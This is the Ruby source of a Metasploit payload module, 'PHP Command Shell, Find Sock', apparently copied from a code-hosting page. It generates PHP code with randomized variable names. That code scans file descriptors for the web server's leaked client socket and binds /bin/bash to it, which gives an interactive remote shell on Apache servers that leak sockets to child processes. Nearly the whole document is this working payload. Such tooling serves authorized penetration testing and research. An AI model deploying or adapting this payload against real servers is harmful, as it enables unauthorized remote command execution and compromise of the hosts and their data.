88 lines
2.3 KiB
Ruby
88 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/payload/php'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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require 'msf/core/handler/find_shell'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Php
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command Shell, Find Sock',
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'Description' => %Q{
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Spawn a shell on the established connection to
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the webserver. Unfortunately, this payload
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can leave conspicuous evil-looking entries in the
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apache error logs, so it is probably a good idea
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to use a bind or reverse shell unless firewalls
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prevent them from working. The issue this
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payload takes advantage of (CLOEXEC flag not set
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on sockets) appears to have been patched on the
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Ubuntu version of Apache and may not work on
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other Debian-based distributions. Only tested on
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Apache but it might work on other web servers
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that leak file descriptors to child processes.
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},
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'Author' => [ 'egypt' ],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Handler' => Msf::Handler::FindShell,
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'Session' => Msf::Sessions::CommandShell,
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'Arch' => ARCH_PHP
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))
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end
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def php_findsock
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var_cmd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
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shell = <<END_OF_PHP_CODE
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#{php_preamble}
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print("<html><body>");
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flush();
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function mysystem(#{var_cmd}){
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#{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
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return #{var_out};
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}
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#{var_fd} = 13;
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for ($i = 3; $i < 50; $i++) {
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$foo = mysystem("/bin/bash 2>/dev/null <&$i -c 'echo $i'");
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if ($foo != $i) {
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#{var_fd} = $i - 1;
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break;
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}
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}
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print("</body></html>\n\n");
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flush();
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#{var_cmd} = "/bin/bash <&#{var_fd} >&#{var_fd} 2>&#{var_fd}";
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mysystem(#{var_cmd});
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END_OF_PHP_CODE
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return shell
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end
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#
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# Constructs the payload
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#
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def generate
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return php_findsock
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end
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end
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